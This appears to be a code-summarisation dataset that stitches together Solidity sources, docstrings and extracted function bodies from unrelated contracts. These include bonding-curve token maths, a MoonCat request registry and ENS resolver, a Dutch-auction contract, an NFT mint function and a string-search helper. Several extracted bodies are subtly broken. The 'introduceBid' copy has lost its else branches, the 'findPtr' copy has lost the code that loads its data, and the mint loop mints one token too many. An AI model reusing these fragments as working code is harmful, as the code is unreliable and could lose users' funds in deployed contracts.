* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokensReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(sqrt
(
(tokenPriceInitial_)**2 * 10**36
+
(tokenPriceInitial_) * (tokenPriceIncremental_) * 10**36
+
25 * (tokenPriceIncremental_)**2 * 10**34
+
(tokenPriceIncremental_)**2 * (tokenSupply_)**2
+
2 * (tokenPriceIncremental_) * (tokenPriceInitial_) * (tokenSupply_) * 10**18
+
(tokenPriceIncremental_)**2 * (tokenSupply_) * 10**18
+
2 * (tokenPriceIncremental_) * (_ethereum) * 10**36
)
), ((tokenPriceInitial_)* 10**18 + 5 * (tokenPriceIncremental_) * 10**17)
) / (tokenPriceIncremental_)
) - (tokenSupply_)
;
return _tokensReceived;
}
/**
* Calculate token sell value.
* It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
* Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
*/
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 _etherReceived =
(
// underflow attempts BTFO
SafeMath.sub(
(
((tokenPriceIncremental_) * (_tokens) * (tokenSupply_)) / 1e18
+
(tokenPriceInitial_) * (_tokens)
+
((tokenPriceIncremental_) * (_tokens)) / 2
), (
((tokenPriceIncremental_) * (_tokens**2)) / 2
) / 1e18
)
) / 1e18
;
return _etherReceived;
}
//This is where all your gas goes, sorry
//Not sorry, you probably only paid 1 gwei
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
Function for the frontend to show ether waiting to be send to fund in contract/
|
function etherToSendFund()
public
view
returns(uint256)
{
return SafeMath.sub(totalEthFundCollected, totalEthFundReceived);
}
==========================================*/
| 923,259 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0 <= 0.7.5;
import "./SmartDCPABEAuthority.sol";
import "./SmartDCPABEUsers.sol";
import "./Collection.sol";
/**
* @author Bruno C. P. Arruda
* @title SmartDCPABE Attribute Request Contract
* @notice This contract allow the management and search of attribute requests made by users
*/
contract SmartDCPABERequests is Collection {
enum KeyRequestStatus {
PENDING,
OK,
REJECTED
}
struct KeyRequest {
KeyRequestStatus status;
uint64 timestamp;
uint64 responseTimestamp;
string attrNames;
}
event pendingRequestIndexChanged (
uint64 oldIndex,
uint64 newIndex
);
event pendingRequesterIndexChanged (
uint64 oldIndex,
uint64 newIndex
);
mapping(address => address[]) pendingRequesters;
mapping(address => mapping(address => uint64[])) pendingRequests;
mapping(address => mapping(address => KeyRequest[])) requests;
SmartDCPABEUsers user;
SmartDCPABEAuthority authority;
/**
* @notice creates the contract with unset dependencies
* @param root the address of the Root contract
*/
constructor(address root) Collection(root) {}
/**
* @inheritdoc Collection
*/
function setContractDependencies(
Collection.ContractType contractType,
address addr
)
public
override
onlyOwner
{
if (contractType == ContractType.AUTHORITY) {
authority = SmartDCPABEAuthority(addr);
} else if (contractType == ContractType.USERS) {
user = SmartDCPABEUsers(addr);
}
}
/**
* @notice registers a user request for attributes
* @param certifier certifier's address
* @param requester requester's address
* @param timestamp timestamp of the request
* @param attrNames an array with names of attributes published by the certifier
*/
function addRequest(
address certifier,
address requester,
uint64 timestamp,
string memory attrNames
)
public
{
assert(user.isUser(requester));
assert(authority.isCertifier(certifier));
uint64 pendingIndex = uint64(requests[certifier][requester].length);
requests[certifier][requester].push(
KeyRequest(KeyRequestStatus.PENDING, timestamp, 0, attrNames)
);
pendingRequests[certifier][requester].push(pendingIndex);
pendingRequesters[certifier].push(requester);
}
/**
* @notice process a request by removing it from the list of pending requests
* and changing its status
* @param certifier certifier's address
* @param requesterIndex index of the user in the requester array
* @param pendingIndex index of the request in the pending request array
* @param newStatus the new, final state of the request
*/
function processRequest(
address certifier,
uint64 requesterIndex,
uint64 pendingIndex,
KeyRequestStatus newStatus
)
public
{
address requester = pendingRequesters[certifier][requesterIndex];
uint64 listSize = uint64(pendingRequests[certifier][requester].length);
require(listSize >= 1, "No pending requests for this certifier.");
uint64 index = pendingRequests[certifier][requester][pendingIndex];
requests[certifier][requester][index].status = newStatus;
if (listSize == 1) {
pendingRequests[certifier][requester].pop();
address lastRequester = pendingRequesters[certifier][pendingRequesters[certifier].length - 1];
pendingRequesters[certifier].pop();
if (requesterIndex != pendingRequesters[certifier].length) {
pendingRequesters[certifier][requesterIndex] = lastRequester;
emit pendingRequesterIndexChanged(
uint64(pendingRequesters[certifier].length),
requesterIndex
);
}
} else {
uint64 lastIndex = pendingRequests[certifier][requester][listSize - 1];
pendingRequests[certifier][requester].pop();
if (pendingIndex != listSize - 1) {
pendingRequests[certifier][requester][pendingIndex] = lastIndex;
emit pendingRequestIndexChanged(listSize - 1, pendingIndex);
}
}
}
/**
* @notice get the number of requests made by an user to a certifier
* @param certifier certifier's address
* @param requester user's address
* @return num_requests the number of the requests
*/
function getRequestListSize(
address certifier,
address requester
)
public
view
returns (uint256)
{
return requests[certifier][requester].length;
}
/**
* @notice get the indexes of requests made by an user to a certifier with
* current "pending" status
* @param certifier certifier's address
* @param requester user's address
* @return indexes a list of indexes of requests stored in the request array
*/
function getPendingList(
address certifier,
address requester
)
public
view
returns (uint64[] memory)
{
return pendingRequests[certifier][requester];
}
/**
* @notice get the number of different users with pending requests to a certifier
* @param certifier certifier's address
* @return num_requesters the number of users with pending requests
*/
function getPendingRequesterListSize(address certifier) public view returns (uint256) {
return pendingRequesters[certifier].length;
}
/**
* @notice get the address of an user with pending requests
* @param certifier certifier's address
* @param requesterIndex index of the user in the requester array
* @return addr the user's address
*/
function getPendingRequesterAddress(
address certifier,
uint64 requesterIndex
)
public
view
returns (address)
{
return pendingRequesters[certifier][requesterIndex];
}
/**
* @notice get the status of a request
* @param certifier certifier's address
* @param requester user's address
* @param index the index of the request in the list of requests made by an
* user to a certifier
* @return status a value indicating the request status, defined in the
* KeyRequestStatus Enum
*/
function getRequestStatus(
address certifier,
address requester,
uint64 index
)
public
view
returns (KeyRequestStatus status)
{
return requests[certifier][requester][index].status;
}
/**
* @notice get request data
* @param certifier certifier's address
* @param requester user's address
* @param index the index of the request in the list of requests made by an
* user to a certifier
* @return status a value indicating the request status, defined in the
* KeyRequestStatus Enum
* @return index the index of the request in the list of requests made by an
* user to a certifier
* @return timestamp publication timestamp
* @return responseTimestamp certifier processing timestamp. In case the request is pending,
* responseTimestamp = 0.
* @return attrNames an array with names of attributes published by the certifier
*/
function getRequest
(
address certifier,
address requester,
uint64 index
)
public
view
returns
(
KeyRequestStatus status,
uint64,
uint64 timestamp,
uint64 responseTimestamp,
string memory attrNames
)
{
KeyRequest memory kr = requests[certifier][requester][index];
return (
kr.status,
index,
kr.timestamp,
kr.responseTimestamp,
kr.attrNames
);
}
}
|
get the indexes of requests made by an user to a certifier with current "pending" status certifier certifier's address requester user's address return indexes a list of indexes of requests stored in the request array/
|
function getPendingList(
address certifier,
address requester
)
public
view
returns (uint64[] memory)
{
return pendingRequests[certifier][requester];
}
| 13,059,666 |
//! The Dutch-Buying contract.
//!
//! Copyright 2017 Gavin Wood, Parity Technologies Ltd.
//!
//! Licensed under the Apache License, Version 2.0 (the "License");
//! you may not use this file except in compliance with the License.
//! You may obtain a copy of the License at
//!
//! http://www.apache.org/licenses/LICENSE-2.0
//!
//! Unless required by applicable law or agreed to in writing, software
//! distributed under the License is distributed on an "AS IS" BASIS,
//! WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//! See the License for the specific language governing permissions and
//! limitations under the License.
pragma solidity ^0.4.7;
/// Will accept Ether "contributions" and record each both as a log and in a
/// queryable record.
contract Receipter {
/// Constructor. `_admin` has the ability to pause the
/// contribution period and, eventually, kill this contract. `_treasury`
/// receives all funds. `_beginBlock` and `_endBlock` define the begin and
/// end of the period.
function Receipter(address _admin, address _treasury, uint _beginBlock, uint _endBlock) {
admin = _admin;
treasury = _treasury;
beginBlock = _beginBlock;
endBlock = _endBlock;
}
// Can only be called by _admin.
modifier only_admin { if (msg.sender != admin) throw; _; }
// Can only be called by prior to the period.
modifier only_before_period { if (block.number >= beginBlock) throw; _; }
// Can only be called during the period when not halted.
modifier only_during_period { if (block.number < beginBlock || block.number >= endBlock || isHalted) throw; _; }
// Can only be called during the period when halted.
modifier only_during_halted_period { if (block.number < beginBlock || block.number >= endBlock || !isHalted) throw; _; }
// Can only be called after the period.
modifier only_after_period { if (block.number < endBlock || isHalted) throw; _; }
// The value of the message must be sufficiently large to not be considered dust.
modifier is_not_dust { if (msg.value < dust) throw; _; }
/// Some contribution `amount` received from `recipient`.
event Received(address indexed recipient, uint amount);
/// Period halted abnormally.
event Halted();
/// Period restarted after abnormal halt.
event Unhalted();
/// Fallback function: receive a contribution from sender.
function() payable {
receiveFrom(msg.sender);
}
/// Receive a contribution from `_recipient`.
function receiveFrom(address _recipient) payable only_during_period is_not_dust {
if (!treasury.call.value(msg.value)()) throw;
record[_recipient] += msg.value;
total += msg.value;
Received(_recipient, msg.value);
}
/// Halt the contribution period. Any attempt at contributing will fail.
function halt() only_admin only_during_period {
isHalted = true;
Halted();
}
/// Unhalt the contribution period.
function unhalt() only_admin only_during_halted_period {
isHalted = false;
Unhalted();
}
/// Kill this contract.
function kill() only_admin only_after_period {
suicide(treasury);
}
// How much is enough?
uint public constant dust = 100 finney;
// Who can halt/unhalt/kill?
address public admin;
// Who gets the stash?
address public treasury;
// When does the contribution period begin?
uint public beginBlock;
// When does the period end?
uint public endBlock;
// Are contributions abnormally halted?
bool public isHalted = false;
mapping (address => uint) public record;
uint public total = 0;
}
contract Recorder {
function received(address _who, uint _value);
function done();
}
contract DutchBuyin {
event Bid(address indexed who, uint maxUnitPrice, uint value, uint accumulatedValue);
event InjectedBid(address indexed who, uint value);
event Ended();
event StrikeFound(uint price, uint tokens, uint tieBreakTime);
event Sold(address indexed who, uint tokens, uint refund);
event Refunded(address indexed who, uint refund);
modifier is_non_zero(uint v) { if (v == 0) throw; _; }
modifier value_at_least(uint v) { if (msg.value < v) throw; _; }
modifier auction_in_progress { if (now < begin || ended || tiePhaseBegin != 0) throw; _; }
modifier strike_in_progress { if (!ended || tiePhaseBegin != 0) throw; _; }
modifier when_have_strike_price { if (tiePhaseBegin == 0) throw; _; }
modifier when_has_receipt(address _who) { if (receipts[_who].price == 0) throw; _; }
modifier sensible_price(uint _price) { if (_price < MINIMUM_STRIKE) throw; _; }
modifier only_owner { if (msg.sender != owner) throw; _; }
// Assumes when_have_strike_price, ensures the sender either placed a
// strictly higher bid to the strike price or that the time is 24 hours
// after the strike price is found.
modifier when_in_acceptable_phase(address _who) { if (receipts[_who].price == strike && now <= tiePhaseBegin) throw; _; }
function auctioning() constant returns (bool) { return now > begin && !ended && tiePhaseBegin == 0; }
function findingStrike() constant returns (bool) { return ended && tiePhaseBegin == 0; }
function foundStrike() constant returns (bool) { return tiePhaseBegin != 0; }
function prepBid(uint _maxUnitPrice)
constant
returns (uint o_nextHighestPrice, uint o_nextHighestOnOldPrice)
{
o_nextHighestPrice = highestPrice;
while (prices[o_nextHighestPrice].nextLowerPrice > _maxUnitPrice) {
o_nextHighestPrice = prices[o_nextHighestPrice].nextLowerPrice;
}
o_nextHighestOnOldPrice = highestPrice;
while (prices[o_nextHighestPrice].nextLowerPrice > receipts[msg.sender].price) {
o_nextHighestPrice = prices[o_nextHighestPrice].nextLowerPrice;
}
}
function currentStrikePrice()
constant
returns (uint strike)
{
strike = highestPrice;
uint t = 0;
while (strike > 0) {
t += prices[strike].totalValue;
uint p = prices[strike].nextLowerPrice;
if (p == 0 || t / strike >= TOTAL_MINTABLE) {
return;
}
strike = p;
}
}
function bid(uint _maxUnitPrice, uint _nextHighestPrice, uint _nextHighestOnOldPrice)
payable
auction_in_progress
is_non_zero(_maxUnitPrice)
sensible_price(_maxUnitPrice)
{
introduceBid(msg.sender, msg.value, _maxUnitPrice, _nextHighestPrice, _nextHighestOnOldPrice);
Bid(msg.sender, receipts[msg.sender].price, msg.value, receipts[msg.sender].value);
checkEnd();
}
// Injects a super-high bid of `_value` on behalf of `_who`.
function inject(address _who, uint _value) only_owner {
introduceBid(_who, _value, MAXIMUM_STRIKE, 0, 0);
InjectedBid(_who, _value);
}
function() payable auction_in_progress {
introduceBid(msg.sender, msg.value, MAXIMUM_STRIKE, 0, 0);
Bid(msg.sender, receipts[msg.sender].price, msg.value, receipts[msg.sender].value);
checkEnd();
}
function progressStrike() strike_in_progress {
strike = highestPrice;
totalValue += prices[highestPrice].totalValue;
uint tokens = totalValue / strike;
if (tokens >= TOTAL_MINTABLE) {
tiePhaseBegin = now + TIE_PHASE_DURATION;
StrikeFound(strike, tokens, tiePhaseBegin);
}
deleteHighestShelf();
}
/// Finalise for the sender's bid.
function finalise() { finaliseFor(msg.sender); }
/// Finalise for `_who`'s bid. Will either return their cash or mint tokens.
function finaliseFor(address _who)
when_have_strike_price
when_has_receipt(_who)
when_in_acceptable_phase(_who)
{
deleteHighestShelf();
uint refund = receipts[_who].value;
if (receipts[_who].price >= strike) {
uint tokens = receipts[_who].value / strike;
if (tokens + totalMinted > TOTAL_MINTABLE) {
tokens = TOTAL_MINTABLE - totalMinted;
}
refund -= tokens * strike;
tokenRecorder.received(_who, tokens);
Sold(_who, tokens, refund);
} else {
Refunded(_who, refund);
}
delete receipts[_who];
if (refund > 0) {
if (!_who.call.value(refund)()) throw;
}
}
function checkEnd() {
if (now > beginEnd && uint(block.blockhash(block.number - 2) ^ block.blockhash(block.number - 1)) % END_BLOCK_MAX_DURATION + (now - beginEnd) > END_BLOCK_MAX_DURATION - 1) {
ended = true;
Ended();
}
}
function introduceBid(
address _who,
uint _value,
uint _maxUnitPrice,
uint _nextHighestPrice,
uint _nextHighestOnOldPrice
)
internal
{
uint totalBidValue = _value;
uint oldPrice = receipts[_who].price;
// bidder may only raise their bid.
if (oldPrice > _maxUnitPrice) throw;
// if the old bid is same the same price shelf as this...
if (oldPrice == _maxUnitPrice) {
// ...then short cut, because it's easy:
receipts[_who].value += _value;
prices[oldPrice].totalValue += _value;
} else {
// ...otherwise, we'll delete the old order and create a new one,
// accumulating the old order's value:
// if there is an existing ("old") bid...
if (oldPrice != 0) {
// ...then cancel it:
// first, record the existing value that we're cancelling:
totalBidValue += receipts[_who].value;
// if this accounts for the entire price shelf...
if (prices[oldPrice].totalValue == receipts[_who].value) {
// ...then wipe it out:
// if this shelf is the highest...
if (oldPrice == highestPrice) {
// ...then replace the highest price with the next lowest:
highestPrice = prices[oldPrice].nextLowerPrice;
} else {
// ...otherwise, unknit the shelf:
// check we got the right info for the nextHighestOnOldPrice
if (prices[_nextHighestOnOldPrice].nextLowerPrice != oldPrice) throw;
// then unknit the shelf:
prices[_nextHighestOnOldPrice].nextLowerPrice = prices[oldPrice].nextLowerPrice;
}
// and delete the shelf:
delete prices[oldPrice];
} else {
// otherwise, just reduce the old bid by the appropriate amount.
prices[oldPrice].totalValue -= receipts[_who].value;
}
}
// Bail if it's not a sensible unit price.
if (totalBidValue < _maxUnitPrice) throw;
if (prices[_maxUnitPrice].totalValue == 0) {
if (highestPrice == 0) {
// first bid
highestPrice = _maxUnitPrice;
} else {
// highestPrice becomes the max of itself and the new price:
if (_maxUnitPrice > highestPrice) {
// knit in the new price shelf below:
prices[_maxUnitPrice].nextLowerPrice = highestPrice;
// record the new highest price "above":
highestPrice = _maxUnitPrice;
} else {
// check we got the right info for the nextHighestPrice
if (_nextHighestPrice <= _maxUnitPrice || prices[_nextHighestPrice].nextLowerPrice >= _maxUnitPrice) throw;
// knit in the new price shelf below:
prices[_maxUnitPrice].nextLowerPrice = prices[_nextHighestPrice].nextLowerPrice;
// ...and above:
prices[_nextHighestPrice].nextLowerPrice = _maxUnitPrice;
}
}
}
// record sender's accumulated bid:
receipts[_who].value = totalBidValue;
receipts[_who].price = _maxUnitPrice;
// add their bid to the new price shelf:
prices[_maxUnitPrice].totalValue += totalBidValue;
}
}
function deleteHighestShelf() internal {
if (highestPrice > 0) {
uint p = prices[highestPrice].nextLowerPrice;
delete prices[highestPrice];
highestPrice = p;
}
}
struct Account {
uint value;
uint price;
}
struct Price {
uint nextLowerPrice;
uint totalValue;
}
// Constants
uint public constant TOTAL_MINTABLE = 100;
uint public constant MINIMUM_STRIKE = 100 finney;
uint public constant MAXIMUM_STRIKE = 100 ether;
uint public constant TIE_PHASE_DURATION = 1 minutes;
uint public begin = now + 0 minutes;
uint public beginEnd = now + 3 minutes;
uint public constant END_BLOCK_MAX_DURATION = 1 minutes;
address public owner = msg.sender;
// Ongoing auction state
mapping (address => Account) public receipts;
mapping (uint => Price) public prices;
uint public highestPrice = 0;
// When finding strike price
bool public ended = false;
uint public strike = 0;
uint public totalValue = 0;
// When found strike price
uint public tiePhaseBegin = 0;
uint public totalMinted = 0;
// Token recorder
Recorder public tokenRecorder;
}
|
bidder may only raise their bid. if the old bid is same the same price shelf as this... ...then short cut, because it's easy: ...otherwise, we'll delete the old order and create a new one, accumulating the old order's value: if there is an existing ("old") bid... ...then cancel it: first, record the existing value that we're cancelling: if this accounts for the entire price shelf... ...then wipe it out: if this shelf is the highest... ...then replace the highest price with the next lowest: ...otherwise, unknit the shelf: check we got the right info for the nextHighestOnOldPrice then unknit the shelf: first bid highestPrice becomes the max of itself and the new price: knit in the new price shelf below: record the new highest price "above": check we got the right info for the nextHighestPrice knit in the new price shelf below: ...and above:
|
function introduceBid(
address _who,
uint _value,
uint _maxUnitPrice,
uint _nextHighestPrice,
uint _nextHighestOnOldPrice
)
internal
{
uint totalBidValue = _value;
uint oldPrice = receipts[_who].price;
if (oldPrice > _maxUnitPrice) throw;
if (oldPrice == _maxUnitPrice) {
receipts[_who].value += _value;
prices[oldPrice].totalValue += _value;
if (oldPrice != 0) {
totalBidValue += receipts[_who].value;
if (prices[oldPrice].totalValue == receipts[_who].value) {
if (oldPrice == highestPrice) {
highestPrice = prices[oldPrice].nextLowerPrice;
if (prices[_nextHighestOnOldPrice].nextLowerPrice != oldPrice) throw;
prices[_nextHighestOnOldPrice].nextLowerPrice = prices[oldPrice].nextLowerPrice;
}
}
}
if (prices[_maxUnitPrice].totalValue == 0) {
if (highestPrice == 0) {
highestPrice = _maxUnitPrice;
if (_maxUnitPrice > highestPrice) {
prices[_maxUnitPrice].nextLowerPrice = highestPrice;
highestPrice = _maxUnitPrice;
if (_nextHighestPrice <= _maxUnitPrice || prices[_nextHighestPrice].nextLowerPrice >= _maxUnitPrice) throw;
prices[_maxUnitPrice].nextLowerPrice = prices[_nextHighestPrice].nextLowerPrice;
prices[_nextHighestPrice].nextLowerPrice = _maxUnitPrice;
}
}
}
receipts[_who].price = _maxUnitPrice;
}
}
| 1,760,802 |
./full_match/3/0x4CEEdA8347B345dFa724e35F6Edf5c09df95626A/sources/contracts/OFFICIAL_BRICKS.sol
|
@note Event happens after whitelist time period has ended and those functions have been turned to off
|
function mint(uint256 _mintAmount) public payable {
require(!paused, "Contract is paused!");
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount, "Can only mint 1000 NFT's at a time!");
require(totalSupply() + _mintAmount <= maxSupply, "Purchase would exceed max supply of this collection");
require(msg.value >= cost * _mintAmount, "Not Enough Funds!");
for(uint256 i = 0; i <= _mintAmount; i++){
_safeMint(msg.sender, totalSupply() + i);
}
}
| 8,279,614 |
./partial_match/1/0xC14Be7367d3301dB32c6aadA05cE9A45506C399F/sources/UniswapFrontrunBot.sol
|
Returns the memory address of the first byte of the first occurrence of `needle` in `self`, or the first byte after `self` if not found.
|
function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
uint ptr = selfptr;
uint idx;
if (needlelen <= selflen) {
if (needlelen <= 32) {
bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
bytes32 needledata;
uint end = selfptr + selflen - needlelen;
bytes32 ptrdata;
while (ptrdata != needledata) {
if (ptr >= end)
return selfptr + selflen;
ptr++;
}
return ptr;
for (idx = 0; idx <= selflen - needlelen; idx++) {
bytes32 testHash;
if (hash == testHash)
return ptr;
ptr += 1;
}
}
}
return selfptr + selflen;
}
| 4,353,723 |
./full_match/80001/0x4321C2a5DDDA88E00ee09C3f3dfDC73604F8ADdB/sources/project_/contracts/extensions/non-fungible-jade/JadeMetadataUpgradeable.sol
|
Internal set energy to current metadata Only for farming id Token `Jade` id energy Energy param of `Jade` token metadata
|
function _setEnergyParam(uint256 id, uint8 energy) internal virtual {
require(_jadeMetadata[id] != 0, "JadeMetadata: Token metadata is not exist");
(uint8 size, uint8 color, uint8 form, uint8 tier,) = decodeMetadata(_jadeMetadata[id]);
_setJadeMetadata(id, encodeMetadata(
size, color, form, tier, energy
));
}
| 9,468,730 |
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.1;
interface IMoonCatAcclimator {
function getApproved(uint256 tokenId) external view returns (address);
function isApprovedForAll(address owner, address operator) external view returns (bool);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address _owner) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
interface IMoonCatRescue {
function rescueOrder(uint256 tokenId) external view returns (bytes5);
function catOwners(bytes5 catId) external view returns (address);
}
interface IReverseResolver {
function claim(address owner) external returns (bytes32);
}
interface IRegistry {
function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external;
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function owner(bytes32 node) external view returns (address);
}
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IERC721 {
function safeTransferFrom(address from, address to, uint256 tokenId) external;
}
/**
* @title MoonCatResolver
* @notice ENS Resolver for MoonCat subdomains
* @dev Auto-updates to point to the owner of that specific MoonCat
*/
contract MoonCatResolver {
/* External Contracts */
IMoonCatAcclimator MCA = IMoonCatAcclimator(0xc3f733ca98E0daD0386979Eb96fb1722A1A05E69);
IMoonCatRescue MCR = IMoonCatRescue(0x60cd862c9C687A9dE49aecdC3A99b74A4fc54aB6);
/* State */
mapping(bytes32 => uint256) internal NamehashMapping; // ENS namehash => Rescue ID of MoonCat
mapping(uint256 => mapping(uint256 => bytes)) internal MultichainMapping; // Rescue ID of MoonCat => Multichain ID => value
mapping(uint256 => mapping(string => string)) internal TextKeyMapping; // Rescue ID of MoonCat => text record key => value
mapping(uint256 => bytes) internal ContentsMapping; // Rescue ID of MoonCat => content hash
mapping(uint256 => address) internal lastAnnouncedAddress; // Rescue ID of MoonCat => address that was last emitted in an AddrChanged Event
address payable public owner;
bytes32 immutable public rootHash;
string public ENSDomain; // Reference for the ENS domain this contract resolves
string public avatarBaseURI = "eip155:1/erc721:0xc3f733ca98e0dad0386979eb96fb1722a1a05e69/";
uint64 public defaultTTL = 86400;
// For string-matching on a specific text key
uint256 constant internal avatarKeyLength = 6;
bytes32 constant internal avatarKeyHash = keccak256("avatar");
/* Events */
event AddrChanged(bytes32 indexed node, address a);
event AddressChanged(bytes32 indexed node, uint coinType, bytes newAddress);
event TextChanged(bytes32 indexed node, string indexedKey, string key);
event ContenthashChanged(bytes32 indexed node, bytes hash);
/* Modifiers */
modifier onlyOwner () {
require(msg.sender == owner, "Only Owner");
_;
}
modifier onlyMoonCatOwner (uint256 rescueOrder) {
require(MCR.catOwners(MCR.rescueOrder(rescueOrder)) == address(MCA), "Not Acclimated");
require(msg.sender == MCA.ownerOf(rescueOrder), "Not MoonCat's owner");
_;
}
/**
* @dev Deploy resolver contract.
*/
constructor(bytes32 _rootHash, string memory _ENSDomain){
owner = payable(msg.sender);
rootHash = _rootHash;
ENSDomain = _ENSDomain;
// https://docs.ens.domains/contract-api-reference/reverseregistrar#claim-address
IReverseResolver(0x084b1c3C81545d370f3634392De611CaaBFf8148)
.claim(msg.sender);
}
/**
* @dev Allow current `owner` to transfer ownership to another address
*/
function transferOwnership (address payable newOwner) public onlyOwner {
owner = newOwner;
}
/**
* @dev Update the "avatar" value that gets set by default.
*/
function setAvatarBaseUrl(string calldata url) public onlyOwner {
avatarBaseURI = url;
}
/**
* @dev Update the default TTL value.
*/
function setDefaultTTL(uint64 newTTL) public onlyOwner {
defaultTTL = newTTL;
}
/**
* @dev Pass ownership of a subnode of the contract's root hash to the owner.
*/
function giveControl(bytes32 nodeId) public onlyOwner {
IRegistry(0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e).setSubnodeOwner(rootHash, nodeId, owner);
}
/**
* @dev Rescue ERC20 assets sent directly to this contract.
*/
function withdrawForeignERC20(address tokenContract) public onlyOwner {
IERC20 token = IERC20(tokenContract);
token.transfer(owner, token.balanceOf(address(this)));
}
/**
* @dev Rescue ERC721 assets sent directly to this contract.
*/
function withdrawForeignERC721(address tokenContract, uint256 tokenId) public onlyOwner {
IERC721(tokenContract).safeTransferFrom(address(this), owner, tokenId);
}
/**
* @dev ERC165 support for ENS resolver interface
* https://docs.ens.domains/contract-developer-guide/writing-a-resolver
*/
function supportsInterface(bytes4 interfaceID) public pure returns (bool) {
return interfaceID == 0x01ffc9a7 // supportsInterface call itself
|| interfaceID == 0x3b3b57de // EIP137: ENS resolver
|| interfaceID == 0xf1cb7e06 // EIP2304: Multichain addresses
|| interfaceID == 0x59d1d43c // EIP634: ENS text records
|| interfaceID == 0xbc1c58d1 // EIP1577: contenthash
;
}
/**
* @dev For a given ENS Node ID, return the Ethereum address it points to.
* EIP137 core functionality
*/
function addr(bytes32 nodeID) public view returns (address) {
uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);
address actualOwner = MCA.ownerOf(rescueOrder);
if (
MCR.catOwners(MCR.rescueOrder(rescueOrder)) != address(MCA) ||
actualOwner != lastAnnouncedAddress[rescueOrder]
) {
return address(0); // Not Acclimated/Announced; return zero (per spec)
} else {
return lastAnnouncedAddress[rescueOrder];
}
}
/**
* @dev For a given ENS Node ID, return an address on a different blockchain it points to.
* EIP2304 functionality
*/
function addr(bytes32 nodeID, uint256 coinType) public view returns (bytes memory) {
uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);
if (MCR.catOwners(MCR.rescueOrder(rescueOrder)) != address(MCA)) {
return bytes(''); // Not Acclimated; return zero (per spec)
}
if (coinType == 60) {
// Ethereum address
return abi.encodePacked(addr(nodeID));
} else {
return MultichainMapping[rescueOrder][coinType];
}
}
/**
* @dev For a given ENS Node ID, set it to point to an address on a different blockchain.
* EIP2304 functionality
*/
function setAddr(bytes32 nodeID, uint256 coinType, bytes calldata newAddr) public {
uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);
setAddr(rescueOrder, coinType, newAddr);
}
/**
* @dev For a given MoonCat rescue order, set the subdomains associated with it to point to an address on a different blockchain.
*/
function setAddr(uint256 rescueOrder, uint256 coinType, bytes calldata newAddr) public onlyMoonCatOwner(rescueOrder) {
if (coinType == 60) {
// Ethereum address
announceMoonCat(rescueOrder);
return;
}
emit AddressChanged(getSubdomainNameHash(uint2str(rescueOrder)), coinType, newAddr);
emit AddressChanged(getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder))), coinType, newAddr);
MultichainMapping[rescueOrder][coinType] = newAddr;
}
/**
* @dev For a given ENS Node ID, return the value associated with a given text key.
* If the key is "avatar", and the matching value is not explicitly set, a url pointing to the MoonCat's image is returned
* EIP634 functionality
*/
function text(bytes32 nodeID, string calldata key) public view returns (string memory) {
uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);
string memory value = TextKeyMapping[rescueOrder][key];
if (bytes(value).length > 0) {
// This value has been set explicitly; return that
return value;
}
// Check if there's a default value for this key
bytes memory keyBytes = bytes(key);
if (keyBytes.length == avatarKeyLength && keccak256(keyBytes) == avatarKeyHash){
// Avatar default
return string(abi.encodePacked(avatarBaseURI, uint2str(rescueOrder)));
}
// No default; just return the empty string
return value;
}
/**
* @dev Update a text record for a specific subdomain.
* EIP634 functionality
*/
function setText(bytes32 nodeID, string calldata key, string calldata value) public {
uint256 rescueOrder = getRescueOrderFromNodeId(nodeID);
setText(rescueOrder, key, value);
}
/**
* @dev Update a text record for subdomains owned by a specific MoonCat rescue order.
*/
function setText(uint256 rescueOrder, string calldata key, string calldata value) public onlyMoonCatOwner(rescueOrder) {
bytes memory keyBytes = bytes(key);
bytes32 orderHash = getSubdomainNameHash(uint2str(rescueOrder));
bytes32 hexHash = getSubdomainNameHash(bytes5ToHexString(MCR.rescueOrder(rescueOrder)));
if (bytes(value).length == 0 && keyBytes.length == avatarKeyLength && keccak256(keyBytes) == avatarKeyHash){
// Avatar default
string memory avatarRecordValue = string(abi.encodePacked(avatarBaseURI, uint2str(rescueOrder)));
